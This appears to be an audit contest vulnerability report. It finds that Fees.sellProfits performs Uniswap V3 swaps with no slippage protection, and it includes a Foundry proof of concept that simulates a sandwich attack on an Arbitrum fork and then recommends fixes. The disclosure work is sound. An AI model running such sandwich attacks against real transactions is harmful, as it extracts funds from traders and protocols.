20,000 USDC
View results
Submission Details
Severity: high
Valid

Loss of funds due to lack of slippage protection

Summary

Function Fees.sellProfits(address) used to swap loan tokens for collateral tokens from liquidations. All token whose address is _profits is swapped to WETH through UniswapV3 Swap router. However, there are 2 parameters ExactInputSingleParams.amountOutMinimum and ExactInputSingleParams.sqrtPriceLimitX96 are set to 0. So the swap will be executed without stop price and without minimum amount out, which implies that it is vulnerable to sandwich attacks

Vulnerability Details

With ExactInputSingleParams.amountOutMinimum = 0 and ExactInputSingleParams.sqrtPriceLimitX96 = 0, the swap is vulnerable to mev bot's sandwich attack that happens within one block. The attack vector is something like this:

  1. Attacker monitored sellProfits transaction

  2. Attacker makes first transaction with a swap that trades a large amount from loan token to WETH (same pair and swap direction with sellProfits) => loan token price dumps

  3. Transaction sellProfits executes with bad price

  4. Attacker makes second transaction with a swap that trades from WETH to loan token and get profits

PoC

contract SandwichTest is Test {
ISwapRouter router =
ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
address usdc = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
address weth = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
address pool = 0xc473e2aEE3441BF9240Be85eb122aBB059A3B57c;
address attacker;
uint256 expectAmountOut;
function setUp() public {
attacker = vm.addr(1337);
}
function _forkAndDeal() private {
vm.createSelectFork("https://rpc.ankr.com/arbitrum", 117665473);
deal(usdc, address(this), 2 ** 255);
deal(weth, address(this), 2 ** 255);
deal(usdc, attacker, 2 ** 255);
deal(weth, attacker, 2 ** 255);
}
function test_sandwich() public {
_forkAndDeal();
IERC20(usdc).approve(address(router), 2 ** 256 - 1);
uint256 amount = 1_000_000e6;
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
.ExactInputSingleParams({
tokenIn: usdc,
tokenOut: weth,
fee: 3000,
recipient: address(this),
deadline: block.timestamp,
amountIn: amount,
amountOutMinimum: 0,
sqrtPriceLimitX96: 0
});
uint256 amountOut = router.exactInputSingle(params);
expectAmountOut = amountOut;
// rewind
_forkAndDeal();
// attacker frontrun
vm.startPrank(attacker);
IERC20(usdc).approve(address(router), 2 ** 256 - 1);
uint256 attackerAmountOut = router.exactInputSingle(params);
// victim swap
vm.stopPrank();
IERC20(usdc).approve(address(router), 2 ** 256 - 1);
amountOut = router.exactInputSingle(params);
assertTrue(amountOut < expectAmountOut);
// attacker backrun
vm.startPrank(attacker);
IERC20(weth).approve(address(router), 2 ** 256 - 1);
params.tokenIn = weth;
params.tokenOut = usdc;
params.amountIn = attackerAmountOut;
uint256 usdAmountOut = router.exactInputSingle(params);
uint256 attackerProfit = usdAmountOut - amount;
assertTrue(attackerProfit > 0);
}
}

Impact

Amount out from swap is manipulated, which means losing of funds

Tools Used

Foundry

Recommendations

There are 2 options:

  1. Use ISwapRouter.ExactInputSingleParams memory params that is passed from function argument. i.e. update sellProfits(address) to sellProfits(address,ISwapRouter.ExactInputSingleParams)

  2. Use Quoter contract from Uniswap (or use Uniswap library) to get amount out then add a small slippage percents (i.e 0.5%) to that amount. Set the amount to ExactInputSingleParams.amountOutMinimum. This minimum amount out will protect the trade from slippage

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.